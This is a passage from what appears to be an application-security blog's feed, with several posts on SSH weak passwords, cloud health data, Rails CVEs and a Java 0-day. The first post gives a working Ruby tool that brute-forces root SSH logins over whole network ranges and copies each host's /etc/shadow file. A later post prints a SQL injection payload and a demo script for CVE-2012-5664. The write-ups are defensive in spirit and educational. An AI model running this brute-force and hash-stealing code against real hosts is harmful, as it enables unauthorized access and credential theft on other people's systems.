</span><span class='line'><span class="c1">#  ports_to_scan:  &quot;22,2022,3022&quot;</span>
</span><span class='line'><span class="c1">#  password_list:  &quot;God,sex,xxx,Password,root,12345,1q2w3e4r&quot;</span>
</span><span class='line'>
</span><span class='line'><span class="c1"># ... and its usage...</span>
</span><span class='line'><span class="c1">#</span>
</span><span class='line'><span class="c1"># 1.9.3-p194 :009 &gt; require &#39;yaml&#39;</span>
</span><span class='line'><span class="c1"># =&gt; true </span>
</span><span class='line'><span class="c1"># 1.9.3-p194 :010 &gt; read_conf(&quot;./con.yaml&quot;)</span>
</span><span class='line'><span class="c1"># =&gt; {&quot;config&quot;=&gt;{&quot;ports_to_scan&quot;=&gt;&quot;22,2022,3022&quot;, &quot;password_list&quot;=&gt;&quot;God,sex,xxx,Password,root,12345,1q2w3e4r&quot;}} </span>
</span><span class='line'><span class="c1"># 1.9.3-p194 :013 &gt; ports = conf[&quot;config&quot;][&quot;ports_to_scan&quot;].split(&#39;,&#39;)</span>
</span><span class='line'><span class="c1"># =&gt; [&quot;22&quot;, &quot;2022&quot;, &quot;3022&quot;] </span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Starting from ruby 1.9 there is a great class in the standard library taking
care of all the stuff about ip addresses.
The idea here is to use this standard library class to manage how inputs in
term of VLANs.</p>

<p>The to_range method helps us in create a list of single host IPAddr classes
that can be used in a loop.</p>

<figure class='code'><figcaption><span>the ipaddr facility </span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="nb">require</span> <span class="s1">&#39;ipaddr&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="n">net</span> <span class="o">=</span> <span class="no">IPAddr</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s2">&quot;192.168.1.0/24&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">net</span><span class="o">.</span><span class="n">to_range</span> <span class="c1"># =&gt; #&lt;IPAddr: IPv4:192.168.1.0/255.255.255.0&gt;..#&lt;IPAddr: IPv4:192.168.1.255/255.255.255.0&gt;</span>
</span><span class='line'><span class="n">net</span><span class="o">.</span><span class="n">to_range</span><span class="o">.</span><span class="n">count</span> <span class="c1"># =&gt; 256</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Our main class would take config values, splits the comma separated options and
be ready for the takeover.</p>

<figure class='code'><figcaption><span>Codesake::SSH::Takedown class</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
<span class='line-number'>60</span>
<span class='line-number'>61</span>
<span class='line-number'>62</span>
<span class='line-number'>63</span>
<span class='line-number'>64</span>
<span class='line-number'>65</span>
<span class='line-number'>66</span>
<span class='line-number'>67</span>
<span class='line-number'>68</span>
<span class='line-number'>69</span>
<span class='line-number'>70</span>
<span class='line-number'>71</span>
<span class='line-number'>72</span>
<span class='line-number'>73</span>
<span class='line-number'>74</span>
<span class='line-number'>75</span>
<span class='line-number'>76</span>
<span class='line-number'>77</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="nb">require</span> <span class="s1">&#39;ipaddr&#39;</span>
</span><span class='line'><span class="nb">require</span> <span class="s1">&#39;net/ssh&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="k">module</span> <span class="nn">Codesake</span>
</span><span class='line'>  <span class="k">module</span> <span class="nn">SSH</span>
</span><span class='line'>    <span class="k">class</span> <span class="nc">Takedown</span>
</span><span class='line'>
</span><span class='line'>      <span class="kp">attr_reader</span> <span class="ss">:ports</span>
</span><span class='line'>      <span class="kp">attr_reader</span> <span class="ss">:passwds</span>
</span><span class='line'>      <span class="kp">attr_reader</span> <span class="ss">:target</span>
</span><span class='line'>      <span class="kp">attr_reader</span> <span class="ss">:results</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">config</span><span class="p">)</span>
</span><span class='line'>        <span class="vi">@ports</span> <span class="o">=</span> <span class="n">conf_to_ports</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
</span><span class='line'>        <span class="vi">@passwds</span> <span class="o">=</span> <span class="n">conf_to_passwds</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
</span><span class='line'>        <span class="vi">@target</span> <span class="o">=</span> <span class="n">target</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">def</span> <span class="nf">analyse</span>
</span><span class='line'>        <span class="vi">@results</span> <span class="o">=</span> <span class="o">[]</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'>        <span class="vi">@target</span><span class="o">.</span><span class="n">to_range</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">host</span><span class="o">|</span>
</span><span class='line'>          <span class="vi">@passwds</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">pass</span><span class="o">|</span>
</span><span class='line'>            <span class="vi">@ports</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">port</span><span class="o">|</span>
</span><span class='line'>              <span class="vi">@results</span> <span class="o">&lt;&lt;</span> <span class="p">{</span><span class="ss">:host</span><span class="o">=&gt;</span><span class="n">host</span><span class="o">.</span><span class="n">to_s</span><span class="p">,</span> <span class="ss">:port</span><span class="o">=&gt;</span><span class="n">port</span><span class="p">,</span> <span class="ss">:pass</span><span class="o">=&gt;</span><span class="n">pass</span><span class="p">}</span> <span class="k">if</span> <span class="n">connect</span><span class="p">(</span><span class="n">host</span><span class="o">.</span><span class="n">to_s</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">pass</span><span class="p">)</span>
</span><span class='line'>            <span class="k">end</span>
</span><span class='line'>          <span class="k">end</span>
</span><span class='line'>        <span class="k">end</span>
</span><span class='line'>        <span class="vi">@results</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">def</span> <span class="nf">takedown</span>
</span><span class='line'>        <span class="vi">@results</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">result</span><span class="o">|</span>
</span><span class='line'>          <span class="n">steal</span><span class="p">(</span><span class="n">result</span><span class="o">[</span><span class="ss">:host</span><span class="o">]</span><span class="p">,</span> <span class="n">result</span><span class="o">[</span><span class="ss">:port</span><span class="o">]</span><span class="p">,</span> <span class="n">result</span><span class="o">[</span><span class="ss">:password</span><span class="o">]</span><span class="p">)</span>
</span><span class='line'>        <span class="k">end</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>      <span class="kp">private</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">def</span> <span class="nf">steal</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
</span><span class='line'>       <span class="k">begin</span>
</span><span class='line'>          <span class="n">ssh</span> <span class="o">=</span> <span class="no">Net</span><span class="o">::</span><span class="no">SSH</span><span class="o">.</span><span class="n">start</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="s2">&quot;root&quot;</span><span class="p">,</span> <span class="p">{</span><span class="ss">:password</span><span class="o">=&gt;</span><span class="n">password</span><span class="p">,</span> <span class="ss">:port</span><span class="o">=&gt;</span><span class="n">port</span><span class="p">,</span> <span class="ss">:timeout</span><span class="o">=&gt;</span><span class="mi">3</span><span class="p">})</span>
</span><span class='line'>          <span class="n">data</span> <span class="o">=</span> <span class="n">ssh</span><span class="o">.</span><span class="n">exec!</span><span class="p">(</span><span class="s2">&quot;cat /etc/shadow&quot;</span><span class="p">)</span>
</span><span class='line'>          <span class="n">f_d</span> <span class="o">=</span> <span class="no">File</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">host</span><span class="o">+</span><span class="s2">&quot;_shadow&quot;</span><span class="p">,</span> <span class="s2">&quot;w&quot;</span><span class="p">)</span>
</span><span class='line'>          <span class="n">f_d</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span><span class='line'>          <span class="n">f_d</span><span class="o">.</span><span class="n">close</span>
</span><span class='line'>          <span class="n">ssh</span><span class="o">.</span><span class="n">close</span>
</span><span class='line'>          <span class="n">ret</span> <span class="o">=</span> <span class="kp">true</span>
</span><span class='line'>        <span class="k">rescue</span> <span class="o">=&gt;</span> <span class="n">e</span>
</span><span class='line'>          <span class="n">ret</span> <span class="o">=</span> <span class="kp">false</span>
</span><span class='line'>        <span class="k">end</span>
</span><span class='line'>        <span class="n">ret</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">def</span> <span class="nf">connect</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
</span><span class='line'>        <span class="k">begin</span>
</span><span class='line'>          <span class="n">ssh</span> <span class="o">=</span> <span class="no">Net</span><span class="o">::</span><span class="no">SSH</span><span class="o">.</span><span class="n">start</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="s2">&quot;root&quot;</span><span class="p">,</span> <span class="p">{</span><span class="ss">:password</span><span class="o">=&gt;</span><span class="n">password</span><span class="p">,</span> <span class="ss">:port</span><span class="o">=&gt;</span><span class="n">port</span><span class="p">,</span> <span class="ss">:timeout</span><span class="o">=&gt;</span><span class="mi">3</span><span class="p">})</span>
</span><span class='line'>          <span class="n">ssh</span><span class="o">.</span><span class="n">close</span>
</span><span class='line'>          <span class="n">ret</span> <span class="o">=</span> <span class="kp">true</span>
</span><span class='line'>        <span class="k">rescue</span> <span class="o">=&gt;</span> <span class="n">e</span>
</span><span class='line'>          <span class="n">ret</span> <span class="o">=</span> <span class="kp">false</span>
</span><span class='line'>        <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">def</span> <span class="nf">conf_to_ports</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
</span><span class='line'>        <span class="n">config</span><span class="o">[</span><span class="s2">&quot;config&quot;</span><span class="o">][</span><span class="s2">&quot;ports_to_scan&quot;</span><span class="o">].</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;,&#39;</span><span class="p">)</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">def</span> <span class="nf">conf_to_passwds</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
</span><span class='line'>        <span class="n">config</span><span class="o">[</span><span class="s2">&quot;config&quot;</span><span class="o">][</span><span class="s2">&quot;password_list&quot;</span><span class="o">].</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;,&#39;</span><span class="p">)</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Now you can glue pieces together.</p>

<figure class='code'><figcaption><span>a ssh weak passwords detect script&#8230; you can star from here and improve it to fit best your needs</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="nb">require</span> <span class="s1">&#39;yaml&#39;</span>
</span><span class='line'><span class="nb">require</span> <span class="s1">&#39;ipaddr&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="c1"># defaulting values here</span>
</span><span class='line'><span class="n">conf</span> <span class="o">=</span> <span class="no">Codesake</span><span class="o">::</span><span class="no">Config</span><span class="o">.</span><span class="n">read_conf</span>
</span><span class='line'><span class="n">net</span> <span class="o">=</span> <span class="no">ARGV</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span>
</span><span class='line'>
</span><span class='line'><span class="no">Kernel</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="k">if</span> <span class="n">net</span><span class="o">.</span><span class="n">nil?</span> <span class="ow">or</span> <span class="n">net</span><span class="o">.</span><span class="n">empty?</span>
</span><span class='line'>
</span><span class='line'><span class="n">ips</span>  <span class="o">=</span><span class="no">IPAddr</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">net</span><span class="p">)</span>
</span><span class='line'><span class="n">engine</span> <span class="o">=</span> <span class="no">Codesale</span><span class="o">::</span><span class="no">SSH</span><span class="o">::</span><span class="no">Takedown</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">ips</span><span class="p">,</span> <span class="n">conf</span><span class="p">)</span>
</span><span class='line'><span class="n">results</span> <span class="o">=</span> <span class="n">engine</span><span class="o">.</span><span class="n">analyse</span>
</span><span class='line'>
</span><span class='line'><span class="c1"># steal /etc/shadow</span>
</span><span class='line'><span class="n">engine</span><span class="o">.</span><span class="n">takedown</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now we can call this script specifying networks in the <a href="http://en.wikipedia.org/wiki/CIDR_notation">CIDR notation</a> and having shadow files
to be saved in the current directory.</p>

<h2>Off by one</h2>

<p>Security starts from protecting your hosts with strong passwords for super user
account. Period. No matter how good is your web code, if you leave the main
door opened, your data are compromised as well as your code is suffering by SQL
Injections.</p>

<p>Now, an announcement. Next April I&#8217;ll talk at <a href="http://railsberry.com">Railsberry 2013</a>
on about using ruby in a deep web application <a href="http://railsberry.com/speakers#paolo">penetration test</a>.
It would be a great conference and I&#8217;m very excited about being part of it.
There will be a lot of great software engineer&#8230; I hope they&#8217;ll love some
security rants :)</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Is Vulnerability Management a buzz word?]]></title>
    <link href="http://armoredcode.com/blog/is-vulnerability-management-a-buzz-word/"/>
    <updated>2013-01-23T08:06:00+01:00</updated>
    <id>http://armoredcode.com/blog/is-vulnerability-management-a-buzz-word</id>
    <content type="html"><![CDATA[<p>Some days ago, on a Facebook.com group about Italian startups, a smart guy said
he had a breakthrough product he is going to develop: a cloud based solution to
store people sensitive health-related information.</p>

<p>As a wise appsec guy I asked him something about how is going to protect
customers&#8217; data.</p>

<!-- more -->


<h2>Something we have: a physical device</h2>

<p>Lombardia, the Italian region around Milan, Bergamo, Brescia and so on, uses a
smartcard and a centralized datacenter to make all doctors and hospital in its
territory to share the health history for a given person.</p>

<p>The smartcard is bounded to each physical person and it is also the assigned
code for fiscal related issues. This to say, that every person has a different
code and then a different smartcard.</p>

<p>People, can ask a personal PIN to unlock data contained in the smartcard and
either access to the centralized datacenter information about their medical
history.</p>

<p>We consider it a strong and a secure system by now, it&#8217;s out of scope
today. We just want to notice that Lombardia already has in production that
guy&#8217;s idea execpt for the cloud part.</p>

<h2>Something we don&#8217;t have: the cloud</h2>

<p>Cloud&#8230; when I see this word in <em>slideware</em> I feel myself like after a strong
kick on the stomach. Cloud is by definition a place somewhere on the Internet
that we can threat as a huge mass storage system.</p>

<p>It&#8217;s not important neither the operating system, the database running or how
many machines are running a particular service. It&#8217;s the cloud, baby.</p>

<p>gmail.com stores your email in the cloud. This means that they are physically
stored somewhere in Mountain view Google datacenter, but also in India,
Pakistan, Italy, France, Alaska&#8230; yes we can continue.
gmail.com security relies on the security of the web application people use as frontend.</p>

<p>There is of course physical security and data would be ciphered but, we can&#8217;t make
for sure that every single machine in google.com cloud has the same patchlevel,
the same releases for software and database, the same hardware configuration,
the same perimetral security (firewalls, web application firewalls, biometrical
access to the server farm, password policy).</p>

<p>Mails are sensitive information but health data is even more. Out of scope by
now all laws about privacy and data jurisdition that makes the idea illegal in
most countries. We focus the discussion over the clous and its security level</p>

<h2>An appsec guy would ask</h2>

<p>I write my doubts in a polite and constructive way. I don&#8217;t want to kill other
people ideas, but I can figure it out why on hell a person would be fine
publishing on the Internet his health related sensitive data.</p>

<p>I asked which kind of security features would this startup proactive implement
in order to secure those data. I asked which kind of vulnreability management
policies they would adopt, which tool of vulnerability assessment they would
use, which secure coding guidelines, how much often they would perform code
reviews and similiar questions.</p>

<p>I putted in doubt that &#8220;in the cloud&#8221; was used there as buzzword just to
describe something that it is supposed to be cool. Another guy, I suspect he
owns a company providing cloud based services, said to me that &#8220;Vulnerability
management&#8221; is either a buzzword and security would be the core business for
the company providing cloud services for that startup.</p>

<p>No technical details. No further comments. Thread is dead from my point of view.</p>

<p>The key point is that cloud is a word spent during pre sales but you must take
really care about how strong is your security policy when you put data in the
cloud.</p>

<p>Vulnerability management is a process in place to take care about
vulnerabilities and the risk level associated with them. I think it&#8217;s a real concern.</p>

<p>And you? What do you think about it? Is Vulnerability Management a buzz word?</p>

<p><em>photo courtesy by <a href="http://upload.wikimedia.org/wikipedia/en/b/b5/University_College_Hospital_-_New_Building_-_London_-_020504.jpg">Wikipedia</a></em></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Defending yourself is not a crime]]></title>
    <link href="http://armoredcode.com/blog/defending-yourself-is-not-a-crime/"/>
    <updated>2013-01-11T07:56:00+01:00</updated>
    <id>http://armoredcode.com/blog/defending-yourself-is-not-a-crime</id>
    <content type="html"><![CDATA[<p>When I wrote <a href="http://armoredcode.com/blog/cve-2012-5664-sql-injection-on-rails-dot-dot-dot-again/">last week post</a>
incipt, I wasn&#8217;t aware I was going to make a prophecy about 2013 and
application security.</p>

<p>But I did it.</p>

<!-- more -->


<h2>CVE-2013 and CVE-2013 and a framework that has bugs</h2>

<p>Looking at <a href="http://rubyonrail.org">RoR</a> community I may feel the sensation that
people are comfortable their framework allows them to cook a web app in
minutes, that it can give them helpers in order to write software the agile way
and that is rock solid: robust and secure.</p>

<p>Please don&#8217;t misunderstand my point here. I do believe Rails is an outstanding
framework with some advanced security features like:</p>

<ul>
<li>html_safe helpers to filter output</li>
<li>automagically defense against basic SQL Injection patterns via ActiveRecord</li>
<li>anti cross site request forgery token</li>
</ul>


<p>But, like almost every piece of code written by human being, also Rails
framework has bugs and, as consequence, even security ones.</p>

<p>Keeping underlying framework up-to-date is an <strong>critical</strong> activity a security
engineer has to deal with nowadays.
Updates must be:</p>

<ul>
<li>possible: you can listen a lot of stories about very customized legacy
application that they cannot be update anymore since the developers are no
longer available or since updating some library would break <em>anything</em></li>
<li>smooth: ideally your updating task would not be longer than a full day of
work. If it is and your codebase is smaller then the <a href="http://kernel.org">Linux Kernel</a> than you&#8217;re missing something</li>
</ul>


<p>In order to achieve this you have to trust and use your underlying framework
but you don&#8217;t want to became a slave of its features. This leads to a simple
<em>mantra</em> I use everytime I talk to a developer about application security:</p>

<blockquote><p>Choose a framework that is security aware but don&#8217;t rely on that. Your code<br/>must handle and validate all inputs coming from HTTP request, filesystem,<br/>database, whatever.</p></blockquote>


<p>This week two vulnerabilities were found again on ActiveRecord and ActionPack
Rails framework components. A Metasploit exploit was delivered out-of-the-box
exploiting the latter leading to a remote command execution. Panic.</p>

<p>I won&#8217;t add a bit to precious <a href="http://ronin-ruby.github.com/blog/2013/01/09/rails-pocs.html">Postmodern post</a> and to the post made
by <a href="https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156">metasploit hacker</a> deeping those vulns in detail.</p>

<p>Just a recall to update your Rails installation to the latest available and add
some code managing your inputs before using it. You will save a lot of troubles
if you&#8217;re confident about an attacker can&#8217;t pass you a malformed value since
you made input validation.</p>

<h2>Java 0-day</h2>

<p>Java is fun. There is at least a couple of security advisories per month. 2013
starts with a 0-day <a href="http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html">already spotted in the wild</a>
with a assigned CVE identifier:
<a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0422">CVE-2013-0422</a>.</p>

<p>To mitigate this you have only to disable your browser Java plugin, waiting to
Oracle to patch this one.</p>

<h2>Off by one</h2>

<p>Don&#8217;t miss the opportunity to implement a real input validation policy for all
the stuff related to your web experience.
Life is too short to recover from a system compromise just because you didn&#8217;t
apply some if or regex to make your data safe.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[CVE-2012-5664: Sql Injection on Rails... again]]></title>
    <link href="http://armoredcode.com/blog/cve-2012-5664-sql-injection-on-rails-dot-dot-dot-again/"/>
    <updated>2013-01-04T09:00:00+01:00</updated>
    <id>http://armoredcode.com/blog/cve-2012-5664-sql-injection-on-rails-dot-dot-dot-again</id>
    <content type="html"><![CDATA[<p>2013 is well promising for application security. Two days ago <a href="https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/DCNTNp_qjFM">Aaron Patterson</a>,
a <a href="http://rubyonrails.com">rails</a> core member announced a <a href="https://www.owasp.org/index.php/SQL_Injection">SQL Injection</a> vulnerability for
ActiveRecord ORM included in Rails framework.</p>

<p>Last <a href="http://armoredcode.com/blog/cve-2012-2661-sqlinjection-on-rails/">June</a> we talked about a similiar vulnerability affecting ActiveRecord.</p>

<!-- more -->


<h2>Dynamic finders</h2>

<p>The vulnerability is in ORM resource <a href="http://guides.rubyonrails.org/active_record_querying.html#dynamic-finders">dynamic finder methods</a>.</p>

<p>Carefully crafted requests can be used to turn a dynamic finder method
parameter into a query scope.</p>

<p>Let us suppose you have a User model with two fields: an email and a password.
We also suppose that our code will take an id parameter from the outside and
using it to retrieve a user from the backend.</p>

<p>You can retrieve a user with a given id with a call like this one:</p>

<figure class='code'><figcaption><span>ActiveRecord find_by_id</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'>  <span class="n">u</span> <span class="o">=</span> <span class="no">User</span><span class="o">.</span><span class="n">find_by_id</span><span class="p">(</span><span class="n">params</span><span class="o">[</span><span class="ss">:id</span><span class="o">]</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>The find_by_id method is not explicity declared by the User model, it&#8217;s
dynamically created by ActiveRecord as well the methods:</p>

<ul>
<li>find_by_email</li>
<li>find_by_password</li>
</ul>


<h2>Exploiting it</h2>

<p>If the parameter id passed to the dynamic find_by_id method, contains an Hash
this is used as options to the SELECT statement instead of being part of the
WHERE clause.</p>

<figure class='code'><figcaption><span>the difference between a regular call and the attack</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="no">User</span><span class="o">.</span><span class="n">find_by_id</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># REGULAR CALL =&gt; SELECT &quot;users&quot;.* FROM &quot;users&quot; WHERE &quot;users&quot;.&quot;id&quot; = 1 LIMIT 1</span>
</span><span class='line'><span class="no">User</span><span class="o">.</span><span class="n">find_by_id</span><span class="p">({</span><span class="ss">:select</span> <span class="o">=&gt;</span><span class="s2">&quot;* from users where id=4 --&quot;</span><span class="p">})</span> <span class="c1"># INJECTION =&gt; SELECT * from users where id=4 -- FROM &quot;users&quot; WHERE &quot;users&quot;.&quot;id&quot; IS NULL LIMIT 1</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>This very trivial ruby script shows an in memory SQLite3 database managed with ActiveRecord as ORM.</p>

<figure class='code'><figcaption><span>cve-2012-5664.rb</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="c1">#!/usr/bin/env ruby</span>
</span><span class='line'>
</span><span class='line'><span class="nb">require</span> <span class="s1">&#39;active_record&#39;</span>
</span><span class='line'><span class="nb">require</span> <span class="s1">&#39;logger&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Base</span><span class="o">.</span><span class="n">logger</span> <span class="o">=</span> <span class="no">Logger</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="no">STDERR</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Base</span><span class="o">.</span><span class="n">establish_connection</span><span class="p">(</span>
</span><span class='line'>    <span class="ss">:adapter</span> <span class="o">=&gt;</span> <span class="s2">&quot;sqlite3&quot;</span><span class="p">,</span>
</span><span class='line'>    <span class="ss">:database</span>  <span class="o">=&gt;</span> <span class="s2">&quot;:memory:&quot;</span>
</span><span class='line'><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Schema</span><span class="o">.</span><span class="n">define</span> <span class="k">do</span>
</span><span class='line'>    <span class="n">create_table</span> <span class="ss">:users</span> <span class="k">do</span> <span class="o">|</span><span class="n">table</span><span class="o">|</span>
</span><span class='line'>        <span class="n">table</span><span class="o">.</span><span class="n">column</span> <span class="ss">:email</span><span class="p">,</span> <span class="ss">:string</span>
</span><span class='line'>        <span class="n">table</span><span class="o">.</span><span class="n">column</span> <span class="ss">:password</span><span class="p">,</span> <span class="ss">:string</span>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="k">class</span> <span class="nc">User</span> <span class="o">&lt;</span> <span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Base</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="no">User</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="ss">:email</span><span class="o">=&gt;</span><span class="s1">&#39;admin_email&#39;</span><span class="p">,</span> <span class="ss">:password</span><span class="o">=&gt;</span><span class="s1">&#39;admin_pwd&#39;</span><span class="p">)</span>
</span><span class='line'><span class="no">User</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="ss">:email</span><span class="o">=&gt;</span><span class="s1">&#39;foo_email&#39;</span><span class="p">,</span> <span class="ss">:password</span><span class="o">=&gt;</span><span class="s1">&#39;foo_pwd&#39;</span><span class="p">)</span>
</span><span class='line'><span class="no">User</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="ss">:email</span><span class="o">=&gt;</span><span class="s1">&#39;bar_email&#39;</span><span class="p">,</span> <span class="ss">:password</span><span class="o">=&gt;</span><span class="s1">&#39;bar_pwd&#39;</span><span class="p">)</span>
</span><span class='line'><span class="no">User</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="ss">:email</span><span class="o">=&gt;</span><span class="s1">&#39;vuln_email&#39;</span><span class="p">,</span> <span class="ss">:password</span><span class="o">=&gt;</span><span class="s1">&#39;vuln_pwd&#39;</span><span class="p">)</span>
</span><span class='line'>
